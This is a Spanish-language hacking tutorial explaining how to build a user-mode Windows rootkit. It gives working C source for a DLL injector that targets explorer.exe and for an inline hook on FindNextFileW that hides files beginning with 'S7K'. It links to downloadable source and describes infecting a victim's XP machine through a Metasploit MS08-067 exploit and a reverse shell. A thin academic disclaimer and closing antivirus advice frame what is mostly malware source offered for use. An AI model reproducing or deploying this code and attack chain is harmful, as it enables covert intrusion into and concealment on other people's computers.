¿CÓMO CREAR UN ROOTKIT?

Rootkit + Backdoor + Exploit (Metasploit)

:: S7K ::

ADVERTENCIA: La información aquí expuesta es usada para fines académicos, no nos hacemos responsables del mal manejo que se le dé a la información, el propósito de éste artículo es dar informar para que usted pueda prevenir este tipo de ataques. 

1.- INTRODUCCIÓN

Para poder entender parte del código fuente que se expondrá es necesario tener conocimientos de C/C++ y saber manejar de punteros, además tener una idea sobre ensamblador pero de todas formas puedes consultar en internet si no conoces alguna instrucción, hay mucha información al respecto y muy bien explicada pero seré lo más explícito posible.

También quiero agradecer a E0N porque por su tutorial pude entender y aprender sobre rootkits y su guía me sirvió mucho de ejemplo.

1.1 OBJETIVOS

El objetivo de todo este artículo es en primer lugar entender cómo funciona un rootkit para luego poder crear el nuestro y hacerle los cambios/mejoras al código fuente.

1.2 INDICACIONES:

Haremos un rootkit a nivel de usuario (el rootkit a nivel de kernel es mucho más difícil de detectar pero es más complicado, tendrías que saber programar drivers, sí, de esos que te bajas cuando instalas tu tarjeta de video).

Usaremos el Visual C++ 6 de Microsoft para compilar y también usaremos a nuestro gran amigo Metasploit para aprovecharnos de la MS08-067 (http://support.microsoft.com/kb/958644/es) y abrir una Shell Remota  en la máquina de la víctima (>:D) para poder infectar con nuestro rootkit (después de todo si aprendemos como hacerlo pero no sabemos cómo ponerlo a “trabajar” no nos serviría de mucho leer tanto).

En este artículo aprenderemos 4 cosas:

  1. Que es un rootkit y cómo funciona.

  2. Aprender a inyectar DLL (librerías).

  3. Aprender a “hookear” (API hooking).

  4. Como hacer un ataque para infectar a otros con nuestro rootkit.

2.- EMPEZANDO

2.1 – ¿Qué es un rootkit?

Un rootkit es una herramienta (malware) que permite ocultar procesos, archivos y conexiones al usuario de un sistema. Pero no me refiero a ponerle atributo de oculto a un archivo, hablo de engañar a las propias herramientas del sistema operativo para que piensen que cierto recurso(archivo, conexión, proceso) no existe.

Imaginen lo que podemos hacer, podemos tener control total del sistema y decidir qué es lo que el usuario ve o no ve, podemos copiarle gigas y gigas de información sin que él sepa que existen (y que no pueda encontrarlas).

¿Cómo es posible todo esto?

Lo primero a tener en cuenta es que para modificar el comportamiento de un archivo o programa debemos estar en su mismo espacio de memoria, por “default” el sistema operativo nos pone en un espacio de memoria que nadie más está ocupando (es algo obvio pero por si acaso alguno no lo sabe, lo escribo). Para hacer esto, usaremos lo que se llama Inyección DLL, podemos invadir el espacio de memoria de un programa inyectando el código directamente sin usar DLL pero eso es más complicado y pueden investigarlo luego (cuando aprendan a hacer inyección DLL).

Una vez que invadimos el espacio de memoria del programa ya podremos modificar su comportamiento y allí aplicaremos API Hooking (más abajo explico qué es, por ahora veremos unos conceptos pequeños) para interceptar las llamadas a las APIs del sistema.

¿Qué es inyección DLL?

Bueno hemos leído mucho sobre esto hasta ahora, pero si no lo tienen claro, les diré que la inyección DLL se trata de obligar a un programa o un proceso, a que cargue nuestra DLL en su propio espacio de memoria

¿Qué es API Hooking?

El API Hooking consiste en interceptar las llamadas que hace un programa a las API del sistema operativo, el objetivo de esto es modificar el comportamiento del programa alterando la respuesta que esa API le devuelve.

Si aún no tienes claro todo esto, tranquilo, luego de explicar el API Hooking y la Inyeccion DLL a fondo, vuelve a leer ésta sección.

2.2 LA INYECCION DLL

Si te estás preguntando ¿para qué queremos inyectar una DLL? La respuesta es que cada vez que el proceso víctima llame a una API del sistema, haremos que en vez de llamar esa API, llame a la función que está dentro de la DLL que nosotros le inyectamos y para poder hacer esto necesitamos estar en su mismo espacio de memoria porque no es tan simple como hacer un salto al espacio de memoria del explorer.exe o el svchost.exe

Ya se deben estar imaginando, una vez dentro del espacio de memoria de un proceso podremos saltarnos el firewall haciéndole creer al firewall que el “NOTEPAD.EXE”  quiere conectarse a internet  o que el “ARES.EXE” quiere mandar un archivo de texto a un servidor (en caso de los troyanos sería muy útil).

Esto no se tratará aquí pero si aprenden a inyectar DLL y comprenden el mecanismo (es decir cómo funciona todo) es cuestión de imaginación y leer más de programación😀.

2.2.1 Métodos de inyección:

Tenemos dos métodos para hacer la inyección: Usando DLL o inyectando código directamente.

La ventaja de usar las DLL es que la podemos programar como si fuera un programa común y corriente (si te habías preguntando como se programa una DLL ya tienes la respuesta) con la diferencia de que para ejecutarla necesitamos llamarla desde algún programa aparte (en este caso el explorer.exe será quien llame a nuestra DLL).

Como desventaja puedo mencionar que se requiere la DLL para que el rootkit funcione pero podemos usar algún Binder para unir al ejecutable con la DLL (si no sabes que es un Binder lee esto).

2.2.2 INYECTANDO CON CreateRemoteThread():

Bien, ahora todo va tomando forma, empecemos a armar nuestro escenario.

El proceso al cual le inyectaremos la DLL será al explorer.exe pero ¿que código usamos? Pues usaremos una API llamada CreateRemoteThread (a esta API la llamamos como si fuera una función cualquiera no es nada del otro mundo).

Este método es muy sencillo y en internet encuentras mucha información al respecto.

Tal y como su nombre lo dice vamos a crear un hilo remoto (o crear un hilo en un proceso remoto, como mejor lo entiendan) para ser más específicos, vamos a crear un hilo y se lo inyectaremos al explorer.exe para obligarlo a que ejecute nuestro hilo.

¿Qué hace el hilo que es tan importante? Bueno pues este hilo es el que obligará al explorer.exe a cargar nuestra DLL en memoria y a ejecutarla.

El programa del que hablamos le llamaremos INYECTOR y este es el código:

#include <windows.h>
#include <Tlhelp32.h>

void main()
{
HANDLE proceso;
LPVOID RemoteString;
LPVOID nLoadLibrary;
int pid;

// OBTENEMOS EL PID DEL PROCESO
// (Si quieren información sobre estas APIs miren la ayuda de microsoft)

HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 procinfo = { sizeof(PROCESSENTRY32) };

//Aquí empezamos a recorrer todos los procesos que están abiertos
while(Process32Next(handle, &procinfo))
{
if(!strcmp(procinfo.szExeFile, “explorer.exe”))//comparamos los nombres
{
CloseHandle(handle);
pid = procinfo.th32ProcessID;//guardamos el PID
}
}
CloseHandle(handle);

// INYECTAMOS LA DLL
// (en mi caso se encuentra en H:\Dll.dll, ustedes cámbienlo)

proceso = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
nLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle(“kernel32.dll”),”LoadLibraryA”);
RemoteString = (LPVOID)VirtualAllocEx(proceso,NULL,strlen(“H:\\Dll.dll”),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
WriteProcessMemory(proceso,(LPVOID)RemoteString,”H:\\Dll.dll”,strlen(“H:\\Dll.dll”),NULL);
CreateRemoteThread(proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
CloseHandle(proceso);
}

Si se fijan donde dice “H:\\Dll.dll” es donde deben poner la ruta donde está ubicada su DLL (ya veremos el código de esa DLL, primero lo primero).

2.3 API HOOKING

Hasta ahora sabemos como inyectar la DLL pero aún no sabemos que hace la DLL.

Ahora que tenemos la idea de como funciona un rootkit y armamos nuestro escenario para saber como podemos inyectar la DLL y así conseguir nuestro objetivo (engañar a algún proceso o programa) vamos a conocer como hacemos para interceptar las llamadas a las API del sistema operativo desde nuestra DLL, para esto usamos el API HOOKING

La API a la que queremos “secuestrar” es la API llamada FindNextFileW que es la encargada de listar los archivos y carpetas, el explorer.exe llama a esta API para saber que archivos hay dentro de alguna carpeta.

Dentro de nuestra DLL crearemos una función llamada “Hookear()” y funciona de esta manera: Una vez que nos inyectamos,  nos metemos o invadimos el espacio de memoria de otro programa, nuestra función “Hookear()” cambiará lo que está en el espacio de memoria de la API  FindNextFileW  y en vez de la API pondrá un salto de memoria hacia nuestra función llamada miFindNextFileW (que esta programada dentro de la misma DLL) de esta manera cada vez que el explorer.exe quiera llamar a la API, lo que en realidad hará será ejecutar el salto y por lo tanto terminará ejecutando nuestra función miFindNextFileW.

Nuestra función miFindNextFileW tiene que llamar a la API original para saber que datos reales devuelve, si nosotros intentamos llamar a la API original en realidad estaríamos haciendo lo mismo que el explorer.exe es decir, ejecutando el salto que pusimos, por lo tanto llamaríamos a nuestra propia función miFindNextFileW creando un bucle infinito que no terminaría nada bonito, para resolver esto lo que haremos básicamente es mover a la API de su espacio de memoria original es decir la copiarla hacia otro lado, y solo nosotros sabríamos donde está.

 

Entonces hasta ahora tenemos lo siguiente:

Esto es lo que normalmente sucede, es decir, la API está cargada dentro del espacio de memoria del explorer.exe

Imagen1

Primero, creamos un programa (Inyector) que se encargará de hacer el trabajo sucio, es decir inyectará la DLL en algún proceso o programa (explorer.exe en este ejemplo) por medio de un hilo. En la imagen vemos como nuestra DLL fue cargada en el espacio de memoria del explorer.exe

Luego cuando el explorer.exe cargue nuestra DLL automáticamente se ejecuta el DLLMain() (es igual que el “void main()” pero de una DLL)  y dentro de ese DLLMain() llamamos a nuestra función “Hookear()” que modificará el espacio de memoria de la API FindNextFileW  para ponerle un salto hacia nuestra función miFindNextFileW.

Entonces cuando el explorer.exe quiera llamar a FindNextFileW  en realidad estaría ejecutando nuestra función miFindNextFileW, y nuestra función será la que llame a FindNextFileW , luego le decimos a nuestra función (miFindNextFileW) que si algún archivo empieza por “S7K” no lo tome en cuenta y así tenemos al explorer.exe sometido.

NOTA: Una vez que nuestro programa  “Inyector” inyecta la DLL, puede terminar su ejecución y no ha pasado nada. Pero lo pueden mejorar para que se mantenga en ejecución y le inyecte esa DLL a cualquier proceso nuevo que se cree y no solo al explorer.exe sino al WinRar.exe y al cmd.exe que son los principales programas que uso para listar archivos.

Ya vimos el código del inyector y vimos donde le decimos la ubicación de la DLL, ahora veamos el código de la función Hookear():

void Hookear()
{
DWORD ProteVieja; // Parametro para VirtualProtect
BYTE *DirFN; // La dirección en memoria de FindNextFileW
BYTE *DirYoFN; // La dirección en memoria de la función que remplaza a FindNextFileW

// –> HOOKEAMOS FINDNEXTFILEW (7 bytes)

// Obtenemos la dirección en memoria de FindNextFileW.
DirFN=(BYTE *) GetProcAddress(GetModuleHandle(“kernel32.dll”), “FindNextFileW”);

//Reservamos 12 bytes de memoria para nuestro Buffer
//FindNextFileW ocupa 7 bytes en la memoria, y necesitamos 5 más para poner nuestro salto alli estan los 12 bytes😀
BufferFN=(BYTE *) malloc (12);

//Le damos todos los permisos a los 12 bytes de nuestro Buffer
VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);

// Copiamos los 7 primeros bytes del api en el buffer
memcpy(BufferFN,DirFN,7);
BufferFN += 7;

// En los 5 bytes restantes…
// En el primero introducimos un jmp
*BufferFN=0xE9; //0xE9 es el codigo de operacion del jmp
BufferFN++;

// En los otros 4 la distancia del salto
*((signed int *) BufferFN)= DirFN – BufferFN + 3;

// Asignamos al puntero, la funcion pBuff del inicio del Buffer para poder ejecutar el api original
pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8);

// Le damos todos los permisos a los 5 primeros bytes de la api original
VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);

// Cambiamos el tipo a puntero a byte para facilitar el trabajo
DirYoFN=(BYTE *) miFindNextFileW;

// En el inicio de la api metemos un jmp para que salte a miFindNextFileW
*DirFN=0xE9;
DirFN++;

// Metemos la distancia del salto
*((signed int *) DirFN)=DirYoFN – DirFN – 4;
// Libermos librerias de cache
FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}

Si no se entiende no se preocupen, al final les dejo el code fuente para que lo vean con colores y sangría.

Ahora este es el código de nuestra función miFindNextFileW:

HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
{
// Ocultamos los archivos que empiecen por el prefijo indicado

HANDLE hand;
char ascStr[611];

do
{
hand = pBuffFN(hFindFile,lpFindFileData);
WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL);

}while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);

return hand;
}

¿Sencillo no? Aquí les dejo los códigos fuentes para que los compilen con Visual C++ 6 y los prueben. Están documentados y un poquito mejorados respecto a la documentación.

http://www.mediafire.com/?2gc5gibaryqa4bw

También les dejo este video donde explico un poco el código fuente y vemos como compilarlo.

>> DESCARGAR VIDEO #1 ENTERO EN HD [AVI] <<

COMPILACIÓN DEL ROOTKIT – PARTE 1

COMPILACIÓN DEL ROOTKIT – PARTE 2

Recuerden que tenemos dos componentes. El inyector que es un “.exe” y la DLL.

########################################################################

ÚLTIMA PARTE: EL ATAQUE

########################################################################

Bien una vez que tenemos el rootkit (nuestro exe y nuestra DLL) compilado, necesitamos ejecutarlo en alguna victima.

Para esto usamos 2 máquinas virtuales: Una con XP SP3 y otra con Backtrack 5 R3

Para este ataque preferí poner un video para que sea más explicativo.

>> DESCARGAR VIDEO #2 ENTERO EN HD [AVI] <<

Ataque Rootkit + Backdoor + Exploit (Metasploit) – Parte 1

Ataque Rootkit + Backdoor + Exploit (Metasploit) – Parte 2

RECOMENDACIONES:

Para que se protejan de rootkits, usen un buen antivirus y manténganlo actualizado siempre, ojalá no les toque la mala suerte de infectarse con un rootkit a nivel de kernel, a pesar de que ya hay bastantes, existen herramientas de desinfección que te liberan de ese problema, si notas algún comportamiento raro haz un escaneo de tu disco en otra máquina que no sea la infectada.

Para que les funcione el código usen el Visual C++ 6.0 de Microsoft, deben tener conocimientos de C/C++, desilusiona mucho cuando uno sigue al pie de la letra todo pero no funciona al final, esto pasa porque no conocemos del todo lo que estamos haciendo y solo estamos obedeciendo lo que nos dice el tutorial. Busquen sobre cada función que desconozcan y entiendan que hace y como funciona. El código se ve fácil cuando sabemos para que sirve cada cosa.

Lo del Backtrack, es solo una demostración, como hagan el reverse shell depende de ustedes, si la victima usa Windows 7, el CreateRemoteThread no funcionará por cuestiones de seguridad, pero les toca investigar como hacer la inyeccion en Windows 7, con lo que vimos aquí es suficiente para que se guíen. O directamente pueden crear un “explorer.exe” que venga precargado con nuestra DLL y lo reemplazamos por el original, se me ocurren tantas cosas😀.

CONCLUSIONES:

Bien decían que Windows es un virus con interfaz gráfica, podemos aprovecharnos de sus mismas funcionalidades para hacer travesuras. Como dije anteriormente, actualicen su antivirus, si son usuarios muy avanzados se conformarán con el Security Essentials de Microsoft.

Otra conclusión importante es que el verdadero hacking no es solo seguir tutoriales y hacer cosas sin saber como funcionan en realidad, esta bien seguir tutoriales pero investiguen para que sirve cada cosa y comprendan el mecanismo, si algo del código no les sale, investiguen sobre las funciones que se usan para que las entiendan, pueden que comentan errores sin darse cuenta.

Si quieren ser hackers, tienen el camino bien difícil, lo primero es cambiar el leer manga o ver series en youtube por leer más de programación, después de todo el buffer overflow se hace en C/C++ en su mayoría de veces, deben estar actualizados con lo último en tecnología y  estudiar mucho las nuevas arquitecturas de hardware y software que van apareciendo. Esto y muchas muchas otras cosas más les ayudarán a llegar a su objetivo pero lo más importantes es amor y dedicación a la programación e informática en general. Recuerden al hacker que ganó $60000 por descubrir una vulnerabilidad en el navegador Google Chrome tuvo que saber mucho de programación para saltarse la cajita de arena (sandbox).

AUTORES:

Andrés Muñoz Ponguillo –  @Crabax

Olga Carreño Holguín – @Olguita0_0

Julio Caamaño – @caamao_julio

Victor Hugo Padilla – @victorpadilla90

–>